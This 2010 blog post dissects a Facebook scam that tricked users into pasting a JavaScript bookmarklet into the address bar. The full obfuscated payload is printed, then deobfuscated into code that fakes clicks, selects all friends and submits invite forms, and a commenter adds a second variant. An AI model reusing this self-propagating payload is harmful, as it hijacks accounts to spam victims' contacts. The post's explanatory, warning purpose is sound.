On Facebook, the Spam Never Ends

Sunday, May 9, 2010

This morning I woke up to an inbox full of suggestions to “like” a certain page on Facebook. Curious, I decided to have a look. It turned out to be a service promising to show you who views your profile (which, of course, is absolutely absurd), and all you had to do was press ctrl+c, alt+d, ctrl+v, and enter. Apparently, a lot of people did this and found themselves wondering how their browsers got hijacked.

I realized that the instructions had me copy some hidden text to clipboard, select the URL entry bar, paste the text, and navigate to it. The “text” happened to be a bit of JavaScript (commonly known as a bookmarklet or favelet), and said “navigation” executes the code. Let’s have a look:

javascript:(function(){a='app120038468024406_jop';b='app120038468024406_jode';ifc='app120038468024406_ifc';ifo='app120038468024406_ifo';mw='app120038468024406_mwrapper';eval(function(p,a,c,k,e,r){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c]);return p}('J e=["\n\g\j\g\F\g\i\g\h\A","\j\h\A\i\f","\o\f\h\q\i\f\r\f\k\h\K\A\L\t","\w\g\t\t\f\k","\g\k\k\f\x\M\N\G\O","\n\l\i\y\f","\j\y\o\o\f\j\h","\i\g\H\f\r\f","\G\u\y\j\f\q\n\f\k\h\j","\p\x\f\l\h\f\q\n\f\k\h","\p\i\g\p\H","\g\k\g\h\q\n\f\k\h","\t\g\j\z\l\h\p\w\q\n\f\k\h","\j\f\i\f\p\h\v\l\i\i","\j\o\r\v\g\k\n\g\h\f\v\P\u\x\r","\B\l\Q\l\R\B\j\u\p\g\l\i\v\o\x\l\z\w\B\g\k\n\g\h\f\v\t\g\l\i\u\o\S\z\w\z","\j\y\F\r\g\h\T\g\l\i\u\o"];d=U;d[e[2]](V)[e[1]][e[0]]=e[3];d[e[2]](a)[e[4]]=d[e[2]](b)[e[5]];s=d[e[2]](e[6]);m=d[e[2]](e[7]);c=d[e[9]](e[8]);c[e[11]](e[10],I,I);s[e[12]](c);C(D(){W[e[13]]()},E);C(D(){X[e[16]](e[14],e[15])},E);C(D(){m[e[12]](c);d[e[2]](Y)[e[4]]=d[e[2]](Z)[e[5]]},E);',62,69,'||||||||||||||_0x95ea|x65|x69|x74|x6C|x73|x6E|x61||x76|x67|x63|x45|x6D||x64|x6F|x5F|x68|x72|x75|x70|x79|x2F|setTimeout|function|5000|x62|x4D|x6B|true|var|x42|x49|x48|x54|x4C|x66|x6A|x78|x2E|x44|document|mw|fs|SocialGraphManager|ifo|ifc|||||||'.split('|'),0,{}))})();

At first glance, there seems to be a dense core of obfuscated code generated by Dean Edwards’s JavaScript Packer. Since it’s a bookmarklet, I thought Packer was used here for compression. I was curious, so I unpacked the code to reveal:

var _0x95ea=["x76x69x73x69x62x69x6Cx69x74x79","x73x74x79x6Cx65","x67x65x74x45x6Cx65x6Dx65x6Ex74x42x79x49x64","x68x69x64x64x65x6E","x69x6Ex6Ex65x72x48x54x4Dx4C","x76x61x6Cx75x65","x73x75x67x67x65x73x74","x6Cx69x6Bx65x6Dx65","x4Dx6Fx75x73x65x45x76x65x6Ex74x73","x63x72x65x61x74x65x45x76x65x6Ex74","x63x6Cx69x63x6B","x69x6Ex69x74x45x76x65x6Ex74","x64x69x73x70x61x74x63x68x45x76x65x6Ex74","x73x65x6Cx65x63x74x5Fx61x6Cx6C","x73x67x6Dx5Fx69x6Ex76x69x74x65x5Fx66x6Fx72x6D","x2Fx61x6Ax61x78x2Fx73x6Fx63x69x61x6Cx5Fx67x72x61x70x68x2Fx69x6Ex76x69x74x65x5Fx64x69x61x6Cx6Fx67x2Ex70x68x70","x73x75x62x6Dx69x74x44x69x61x6Cx6Fx67"];
d=document;
d[_0x95ea[2]](mw)[_0x95ea[1]][_0x95ea[0]]=_0x95ea[3];
d[_0x95ea[2]](a)[_0x95ea[4]]=d[_0x95ea[2]](b)[_0x95ea[5]];
s=d[_0x95ea[2]](_0x95ea[6]);
m=d[_0x95ea[2]](_0x95ea[7]);
c=d[_0x95ea[9]](_0x95ea[8]);
c[_0x95ea[11]](_0x95ea[10],true,true);
s[_0x95ea[12]](c);
setTimeout(function(){fs[_0x95ea[13]]()},5000);
setTimeout(function(){SocialGraphManager[_0x95ea[16]](_0x95ea[14],_0x95ea[15])},5000);
setTimeout(function(){m[_0x95ea[12]](c);d[_0x95ea[2]](ifo)[_0x95ea[4]]=d[_0x95ea[2]](ifc)[_0x95ea[5]]},5000);

Clearly, compression wasn’t the goal. I ran the array of obfuscated strings through Firebug and came up with some familiar content:

var _0x95ea=["visibility","style","getElementById","hidden","innerHTML","value","suggest","likeme","MouseEvents","createEvent","click","initEvent","dispatchEvent","select_all","sgm_invite_form","/ajax/social_graph/invite_dialog.php","submitDialog"];

At this point, I got the feeling that this bookmarklet hides things that should not be hidden, sends click events, and ultimately submits a form. Substituting the array’s contents into the rest of the code, I got:

document.getElementById(mw).style.visibility="hidden";
document.getElementById(a).innerHTML=document.getElementById(b).value;
s=document.getElementById("suggest");
m=document.getElementById("likeme");
c=document.createEvent("MouseEvents");
c.initEvent("click",true,true);
s.dispatchEvent(c);
setTimeout(function(){fs.select_all()},5000);
setTimeout(function(){SocialGraphManager.submitDialog("sgm_invite_form","/ajax/social_graph/invite_dialog.php")},5000);
setTimeout(function(){m.dispatchEvent(c);document.getElementById(ifo).innerHTML=document.getElementById(ifc).value},5000);

Ultimately, we end up with the following snippet, which makes you “like” the page and suggest it to all your friends:

a='app120038468024406_jop';
b='app120038468024406_jode';
ifc='app120038468024406_ifc';
ifo='app120038468024406_ifo';
mw='app120038468024406_mwrapper';
document.getElementById(mw).style.visibility="hidden";
document.getElementById(a).innerHTML=document.getElementById(b).value;
eventClick=document.createEvent("MouseEvents");
eventClick.initEvent("click",true,true);
document.getElementById("suggest").dispatchEvent(eventClick);
setTimeout(function(){fs.select_all()},5000);
setTimeout(function(){SocialGraphManager.submitDialog("sgm_invite_form","/ajax/social_graph/invite_dialog.php")},5000);
setTimeout(function(){document.getElementById("likeme").dispatchEvent(eventClick);document.getElementById(ifo).innerHTML=document.getElementById(ifc).value},5000);

While these scams are common on Facebook, I’d like to take this opportunity to warn everyone to always be vigilant while navigating the Internet. The script of the day did not do much real damage, but at least a hundred thousand Facebook users were spammed; tens of thousands were scammed into propagating this viral page.

But what about seeing who’s viewing your profile?

Think about it this way… would you like others to know about your browsing habits? As I said earlier, this is an absurd breach of privacy, and fortunately Facebook does not support this “functionality” by default. Third-party apps have different policies, however, and these apps have access to privileged information about their users. In particular, a Facebook app is able to track when it is viewed by its users. So when a Facebook user with this tracking app enabled checks out another Facebook user with the app on his/her profile, the app sees and records the viewing relationship.

Pages don’t have this functionality, however; only apps do. As far as the viral page goes, it is a fake.

2 Comments

  1. Gostak says:

    Thanks, this explains the (bad word) that I found. Now I have to go and send every one a message to disregard it. What a pile of smelly stuff.

  2. Craig B says:

    Good post, thanks. I got caught by similar javascript. Your post confirmed my fear. I’ve reported both the FB and Blogspot pages.

    Here is the original:
    javascript:var _0x5e5a=[“x69x6Ex6Ex65x72x48x54x4Dx4C”,”x61x70x70x36x31x36x35x35x34x39x35x32x36x5Fx62x6Fx64x79″,”x67x65x74x45x6Cx65x6Dx65x6Ex74x42x79x49x64″,”x3Cx61x20x69x64x3Dx22x73x75x67x67x65x73x74x22x20x68x72x65x66x3D

    x22x23x22x20x61x6Ax61x78x69x66x79x3Dx22x2Fx61x6Ax61x78x2Fx73x6Fx63x69x61x6Cx5F

    x67x72x61x70x68x2Fx69x6Ex76x69x74x65x5Fx64x69x61x6Cx6Fx67x2Ex70x68x70x3Fx63x6C

    x61x73x73x3Dx46x61x6Ex4Dx61x6Ex61x67x65x72x26x61x6Dx70x3Bx6Ex6Fx64x65x5Fx69x64x3D

    x31x31x31x33x37x39x34x33x32x32x34x30x33x38x31x22x20x63x6Cx61x73x73x3Dx22x20x70x72x6F

    x66x69x6Cx65x5Fx61x63x74x69x6Fx6Ex20x61x63x74x69x6Fx6Ex73x70x72x6Fx5F

    x61x22x20x72x65x6Cx3Dx22x64x69x61x6Cx6Fx67x2Dx70x6Fx73x74x22x3E

    x53x75x67x67x65x73x74x20x74x6Fx20x46x72x69x65x6Ex64x73x3Cx2Fx61x3E”,”x73x75x67x67x65x73x74″,”x4Dx6Fx75x73x65x45x76x65x6Ex74x73″,”x63x72x65x61x74x65x45x76x65x6Ex74″,”x63x6Cx69x63x6B”,”x69x6Ex69x74x45x76x65x6Ex74″,”x64x69x73x70x61x74x63x68x45x76x65x6Ex74″,”x73x65x6Cx65x63x74x5Fx61x6Cx6C”,”x73x67x6Dx5Fx69x6Ex76x69x74x65x5Fx66x6Fx72x6D”,”x2Fx61x6Ax61x78x2Fx73x6Fx63x69x61x6Cx5Fx67x72x61x70x68x2Fx69x6Ex76x69x74x65x5F

    x64x69x61x6Cx6Fx67x2Ex70x68x70″,”x73x75x62x6Dx69x74x44x69x61x6Cx6Fx67″,”x3Cx69x66x72x61x6Dx65x20x73x72x63x3Dx22x68x74x74x70x3Ax2Fx2Fx70x72x6Fx66x69x6C

    x65x73x70x79x2Ex62x6Cx6Fx67x73x70x6Fx74x2Ex63x6Fx6Dx2Fx22x20x73x74x79x6Cx65x3D

    x22x77x69x64x74x68x3Ax20x38x32x30x70x78x3Bx20x68x65x69x67x68x74x3A

    x20x36x30x30x70x78x3Bx22x20x66x72x61x6Dx65x62x6Fx72x64x65x72x3Dx30x20x73x63x72x6Fx6C

    x6Cx69x6Ex67x3Dx22x6Ex6Fx22x3Ex3Cx2Fx69x66x72x61x6Dx65x3E”];var variables=[_0x5e5a[0],_0x5e5a[1],_0x5e5a[2],_0x5e5a[3],_0x5e5a[4],_0x5e5a[5],_0x5e5a[6],_0x5e5a[7],_0x5e5a[8],_0x5e5a[9],_0x5e5a[10],_0x5e5a[11],_0x5e5a[12],_0x5e5a[13]];void (document[variables[2]](variables[1])[variables[0]]=variables[3]);var ss=document[variables[2]](variables[4]);var c=document[variables[6]](variables[5]);c[variables[8]](variables[7],true,true);void ss[variables[9]](c);void setTimeout(function (){fs[variables[10]]();} ,4000);void setTimeout(function (){SocialGraphManager[variables[13]](variables[11],variables[12]);} ,5000);void (document[variables[2]](variables[1])[variables[0]]=_0x5e5a[14]);

    Which seems to boil down to this:
    void (document[getElementById](app6165549526_body)[innerHTML]=Suggest to Friends);
    var ss=document[getElementById](suggest);
    var c=document[createEvent](MouseEvents);

    c[initEvent](click,true,true);

    void ss[dispatchEvent](c);

    void setTimeout(function (){fs[select_all]();} ,4000);

    void setTimeout(function (){SocialGraphManager[submitDialog]

    (sgm_invite_form,/ajax/social_graph/invite_dialog.php);} ,5000);

    void (document[getElementById](app6165549526_body)[innerHTML]=);